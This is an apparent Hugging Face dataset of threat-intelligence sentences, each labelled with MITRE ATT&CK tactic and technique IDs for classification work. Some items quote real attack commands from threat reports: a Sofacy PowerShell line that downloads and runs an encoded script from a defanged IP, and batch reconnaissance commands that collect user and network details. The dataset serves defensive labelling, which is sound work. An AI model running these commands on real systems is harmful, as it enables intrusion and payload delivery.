madox81/Adema_ATTACK_DS huggingface dataset:
Input: Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Kimsuky has manipulated timestamps for creation or compilation dates to defeat anti-forensics.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: There does appear to be function names however, including PeekMessageA, which has been previously observed in other keylogging malware

Tactics: TA0006, TA0009
Techniques: T1056
Input: Egregor can enumerate all connected drives.

Tactics: TA0007
Techniques: T1049
Input: Consider removing the local Administrators group from the list of groups allowed to log in through RDP.

Tactics: TA0008
Techniques: T1563.002, T1021.001, T1021, T1563
Input: Benign executables used to side-load payloads may not be flagged during delivery and/or execution.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: Adversaries may gather information about the victim's host hardware that can be used during targeting.

Tactics: TA0043
Techniques: T1592, T1592.001
Input: Ryuk has called CreateToolhelp32Snapshot to enumerate all running processes.

Tactics: TA0007
Techniques: T1057
Input: Monitor for newly constructed network connections associated with processes performing collection activity, especially those involving abnormal/untrusted hosts.

Tactics: TA0010
Techniques: T1020
Input: Threat Group-3390 has used CVE-2014-6324 and CVE-2017-0213 to escalate privileges.

Tactics: TA0004
Techniques: T1068
Input: Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.

Tactics: TA0003, TA0004
Techniques: T1543
Input: APT3 has been known to create or enable accounts, such as support_388945a0.

Tactics: TA0003
Techniques: T1136, T1136.001
Input: Monitor for newly constructed network connections that are sent or received by untrusted hosts, such as Sysmon Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.

Tactics: TA0005
Techniques: T1218, T1218.003
Input: Gamaredon Group has used tools to enumerate processes on target hosts including Process Explorer.

Tactics: TA0007
Techniques: T1057
Input: DarkHydrus used Template Injection to launch an authentication window for users to enter their credentials.

Tactics: TA0006
Techniques: T1187
Input: Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: BlackTech has used e-mails with malicious links to lure victims into installing malware.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value.

Tactics: TA0006, TA0009
Techniques: T1557.001, T1557
Input: Standard TCP/IP Port

Tactics: TA0003, TA0004
Techniques: T1547, T1547.010
Input: Monitor for changes made to files for unexpected modifications to RC scripts in the /etc/ directory

Tactics: TA0003, TA0004
Techniques: T1037.004, T1037
Input: Naikon has used DLL side-loading to load malicious DLL's into legitimate executables.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: SideTwist has the ability to search for specific files.

Tactics: TA0007
Techniques: T1083
Input: Monitor for newly constructed windows registry keys that may use scripts automatically executed at boot or logon initialization to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1037
Input: Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Tactics: TA0009
Techniques: T1125
Input: Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003
Input: Felismus checks for processes associated with anti-virus vendors.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: In one version of KeyBoy, string obfuscation routines were used to hide many of the critical values referenced in the malware.

Tactics: TA0005
Techniques: T1027
Input: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Users can be trained to identify social engineering techniques and spearphishing emails.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.003, T1556
Input: Monitor for changes made to files that may backdoor web servers with web shells to establish persistent access to systems.

Tactics: TA0003
Techniques: T1505.003, T1505
Input: Persistence Mechanism Figure 3 shows that for persistence, the document creates two scheduled tasks and creates one auto-start registry entry pointing to the LNK file

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1547.001, T1053, T1547
Input: FELIXROOT creates a .LNK file for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: InvisiMole can check for artifacts of VirtualBox, Virtual PC and VMware environment, and terminate itself if they are detected.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: It also uses RSA to encrypt resources.

Tactics: TA0005
Techniques: T1027
Input: Scan images before deployment, and block those that are not in compliance with security policies.

Tactics: TA0002, TA0005
Techniques: T1610
Input: Monitor for API calls that may gather the system time and/or time zone from a local or remote system.

Tactics: TA0007
Techniques: T1124
Input: The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.

Tactics: TA0006, TA0009
Techniques: T1056.004, T1056
Input: Dyre can detect sandbox analysis environments by inspecting the process list and Registry.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Monitor for modification of binaries and service executables that do not occur during a regular software update or an update scheduled by the organization.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.010, T1574
Input: StrongPity has been executed via compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Monitor cloud logs for modification or creation of new security groups or firewall rules.

Tactics: TA0005
Techniques: T1562.007, T1562
Input: Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes and and compare against known good baseline behavior.

Tactics: TA0001
Techniques: T1195, T1195.003
Input: Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{{AppID_GUID}} associated with the process-wide security of individual COM applications.

Tactics: TA0008
Techniques: T1021.003, T1021
Input: InvisiMole can obtain a list of running processes.

Tactics: TA0007
Techniques: T1057
Input: Certificates are commonly used for establishing secure TLS/SSL communications within a web browser.

Tactics: TA0005
Techniques: T1553, T1553.004
Input: Zox has the ability to use SMB for communication.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Azure AD tenant by registering a large number of devices.

Tactics: TA0003
Techniques: T1098.005, T1098
Input: Stealth Falcon malware gathers data from the local victim system.

Tactics: TA0009
Techniques: T1005
Input: Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.002, T1556
Input: For all non-removable drives on a victim, USBStealer executes automated collection of certain files for later exfiltration.

Tactics: TA0009
Techniques: T1119
Input: ROKRAT can retrieve additional malicious payloads from its C2 server.

Tactics: TA0011
Techniques: T1105
Input: Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Tactics: TA0003
Techniques: T1176
Input: Penquin can report the file system type and disk space of a compromised host to C2.

Tactics: TA0007
Techniques: T1082
Input: Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts

Tactics: TA0011
Techniques: T1090
Input: TAINTEDSCRIBE can execute ProcessList for process discovery.

Tactics: TA0007
Techniques: T1057
Input: To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.011
Input: LiteDuke has the ability to download files.

Tactics: TA0011
Techniques: T1105
Input: The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program

Tactics: TA0005
Techniques: T1036
Input: SynAck enumerates Registry keys associated with event logs.

Tactics: TA0007
Techniques: T1012
Input: StrongPity can use PowerShell to add files to the Windows Defender exclusions list.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.005, T1574
Input: These tokens are typically stolen from users or services and used in lieu of login credentials.

Tactics: TA0005, TA0008
Techniques: T1550.001, T1550
Input: APT29 obtained a list of users and their roles from an Exchange server using Get-ManagementRoleAssignment.

Tactics: TA0007
Techniques: T1087
Input: Bash keeps track of the commands users type on the command-line with the "history" utility.

Tactics: TA0006
Techniques: T1552.003, T1552
Input: BoxCaon has searched for files on the system, such as documents located in the desktop folder.

Tactics: TA0007
Techniques: T1083
Input: Ryuk has called kill.bat for stopping services, disabling services and killing processes.

Tactics: TA0040
Techniques: T1489
Input: The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.

Tactics: TA0011
Techniques: T1572
Input: Monitor for third-party application logging, messaging, and/or other artifacts that may target the different network services provided by systems to conduct a DoS.

Tactics: TA0040
Techniques: T1499.002, T1499
Input: TinyZBot supports execution from the command-line.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -Whidden $e=(New-ObjectSystem.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');powershell -enc $e #     The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server.

Tactics: TA0007
Techniques: T1082
Input: Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code.

Tactics: TA0005
Techniques: T1564, T1564.007
Input: Turla has used the VPS infrastructure of compromised Iranian threat actors.

Tactics: TA0042
Techniques: T1584.003, T1584
Input: HermeticWiper can determine the OS version, bitness, and enumerate physical drives on a targeted host.

Tactics: TA0007
Techniques: T1082
Input: Consider enabling versioning in cloud environments to maintain backup copies of storage objects.

Tactics: TA0040
Techniques: T1486
Input: Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities ( Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).

Tactics: TA0042
Techniques: T1588.006, T1588
Input: Open directory listing of hxxp://stevemike-fireforce[.]info/ Based on the contents and structure of the initial identified open directories, it was possible to find several infrastructure patterns in use

Tactics: TA0007
Techniques: T1083
Input: Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

Tactics: TA0005
Techniques: T1562.003, T1562
Input: We observed the threat group issue the following commands:  @echo off    dir c:\ >> %temp%\download    ipconfig /all >> %temp%\download    net user >> %temp%\download    net user /domain >> %temp%\download    ver >> %temp%\download    del %0    @echo off    dir "c:\Documents and Settings" >> %temp%\download    dir "c:\Program Files\    " >> %temp%\download    net start >> %temp%\download    net localgroup administrator >> %temp%\download    netstat -ano >> %temp%\download   These commands allow the threat group to gain information about the compromised computer and the network to which it belongs

Tactics: TA0002, TA0007, TA0011
Techniques: T1007, T1105, T1059.001, T1059
Input: The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk.

Tactics: TA0040
Techniques: T1561, T1561.002
Input: Empire has modules to interact with the Windows task scheduler.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration.

Tactics: TA0005
Techniques: T1599, T1599.001
Input: P2P ZeuS added junk data to outgoing UDP packets to peer implants.

Tactics: TA0011
Techniques: T1001.001, T1001
Input: POWERSTATS can upload files from compromised hosts.

Tactics: TA0009
Techniques: T1005
Input: Gelsemium has used unverified signatures on malicious DLLs.

Tactics: TA0005
Techniques: T1036, T1036.001
Input: Agent.btz creates a file named thumb.dd on all USB flash drives connected to the victim.

Tactics: TA0010
Techniques: T1052, T1052.001
Input: Comnie uses ipconfig /all and route PRINT to identify network adapter and interface information.

Tactics: TA0007
Techniques: T1016
Input: After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.

Tactics: TA0006
Techniques: T1539
Input: RTM has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.

Tactics: TA0005
Techniques: T1027
Input: WindTail has the ability to decrypt strings using hard-coded AES keys.

Tactics: TA0005
Techniques: T1140
Input: Turian has the ability to use Python to spawn a Unix shell.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: Adversaries may obfuscate command and control traffic to make it more difficult to detect.

Tactics: TA0011
Techniques: T1001
Input: APT29 has conducted credential theft operations to obtain credentials to be used for access to victim environments.

Tactics: TA0043
Techniques: T1589, T1589.001
Input: It also has commands to obtain information about logical drives, drive type, and free space.

Tactics: TA0007
Techniques: T1083
Input: Disallow or restrict removable media at an organizational policy level if it is not required for business operations.

Tactics: TA0001, TA0008
Techniques: T1091
Input: Koadic can download additional files and tools.

Tactics: TA0011
Techniques: T1105
Input: In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user.

Tactics: TA0010
Techniques: T1052
Input: Leviathan has used steganography to hide stolen data inside other files stored on Github.

Tactics: TA0005
Techniques: T1027.003, T1027
Input: BloodHound can identify users with local administrator rights.

Tactics: TA0007
Techniques: T1087, T1087.001
Input: SpeakUp deletes files to remove evidence on the machine.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Ensure proper permissions are set for Registry hives to prevent users from modifying keys for logon scripts that may lead to persistence.

Tactics: TA0003, TA0004
Techniques: T1037.001, T1037
Input: Frankenstein has used trojanized Microsoft Word documents sent via email, which prompted the victim to enable macros.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: APT3 has been known to brute force password hashes to be able to leverage plain text credentials.

Tactics: TA0006
Techniques: T1110, T1110.002
Input: The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary.

Tactics: TA0040
Techniques: T1565, T1565.002
Input: Skidmap has created a fake rm binary to replace the legitimate Linux binary.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Kaspersky Lab products detect the malware used by Poseidon Group with the following detection names: Backdoor.Win32.Nhopro HEUR:Backdoor.Win32.Nhopro.gen HEUR:Hacktool.Win32.Nhopro.gen How many victims have you found? At least 35 victim companies have been identified with primary targets including financial and government institutions, telecommunications, manufacturing, energy and other service utility companies, as well as media and public relations firms

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Monitor for unexpected deletion of Windows event logs (via native binaries) and may also generate an alterable event (Event ID 1102: "The audit log was cleared")

Tactics: TA0005
Techniques: T1070, T1070.001
Input: This phase will often leverage a specialized tool that automatically collects a wide array of information including credentials, group management policies, and even system logs to better hone further attacks and assure execution of their malware

Tactics: TA0007
Techniques: T1082
Input: Adversaries may create self-signed code signing certificates that can be used during targeting.

Tactics: TA0042
Techniques: T1587.002, T1587
Input: Cyclops Blink has the ability to create a pipe to enable inter-process communication.

Tactics: TA0002
Techniques: T1559
Input: TrickBot can identify the user and groups the user belongs to on a compromised host.

Tactics: TA0007
Techniques: T1033
Input: SUNSPOT encrypted log entries it collected with the stream cipher RC4 using a hard-coded key.

Tactics: TA0005
Techniques: T1027
Input: SpeakUp checks for availability of specific ports on servers.

Tactics: TA0007
Techniques: T1046
Input: More_eggs has used cmd.exe for execution.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: APT39 has modified LNK shortcuts.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: Okrum was seen using modified Quarks PwDump to perform credential dumping.

Tactics: TA0006
Techniques: T1003, T1003.005
Input: DropBook has used legitimate web services to exfiltrate data.

Tactics: TA0010
Techniques: T1567
Input: BISCUIT has a command to periodically take screenshots of the system.

Tactics: TA0009
Techniques: T1113
Input: Tonto Team has used a variety of credential dumping tools.

Tactics: TA0006
Techniques: T1003
Input: ZIRCONIUM has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.

Tactics: TA0011
Techniques: T1102.002, T1102
Input: admin@338 has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.

Tactics: TA0002
Techniques: T1203
Input: CallMe has the capability to create a reverse shell on victims.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: Modification of files considers actions such as renaming and directory moving.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.010, T1574
Input: APT29 has used multiple layers of encryption within malware to protect C2 communication.

Tactics: TA0011
Techniques: T1573
Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting.

Tactics: TA0042
Techniques: T1583
Input: Out1 has the ability to encode data.

Tactics: TA0005
Techniques: T1027
Input: If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.

Tactics: TA0006
Techniques: T1003, T1003.007
Input: WastedLocker created and established a service that runs until the encryption process is complete.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Ramsay has created Registry Run keys to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Rocke has distributed cryptomining malware.

Tactics: TA0040
Techniques: T1496
Input: admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: ipconfig /all >> %temp%\download

Tactics: TA0007
Techniques: T1016
Input: Adversaries can direct BACKSPACE to execute from the command line on infected hosts, or have BACKSPACE create a reverse shell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Metamorfo has a function to hijack data from the clipboard by monitoring the contents of the clipboard and replacing the cryptocurrency wallet with the attacker's.

Tactics: TA0009
Techniques: T1115
Input: njRAT has included a base64 encoded executable.

Tactics: TA0005
Techniques: T1027
Input: FBI has high confidence that HIDDEN COBRA actors are using the IP addresses for further network exploitation.This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators, recommended mitigation techniques, and information on reporting incidents to the U.S

Tactics: TA0007
Techniques: T1016
Input: Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries.

Tactics: TA0005
Techniques: T1027.004, T1027
Input: InvisiMole also has a built-in command to modify file times.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: SLOTHFULMEDIA has taken a screenshot of a victim's desktop, named it "Filter3.jpg", and stored it in the local directory.

Tactics: TA0009
Techniques: T1113
Input: SombRAT can execute getinfo  to discover the current time on a compromised host.

Tactics: TA0007
Techniques: T1124
Input: In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.

Tactics: TA0007
Techniques: T1087.003, T1087
Input: HELLOKITTY can search for specific processes to terminate.

Tactics: TA0007
Techniques: T1057
Input: Installation of digital certificates may take place for a number of server types, including web servers and email servers.

Tactics: TA0042
Techniques: T1608.003, T1608
Input: ComRAT has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.

Tactics: TA0011
Techniques: T1573, T1573.002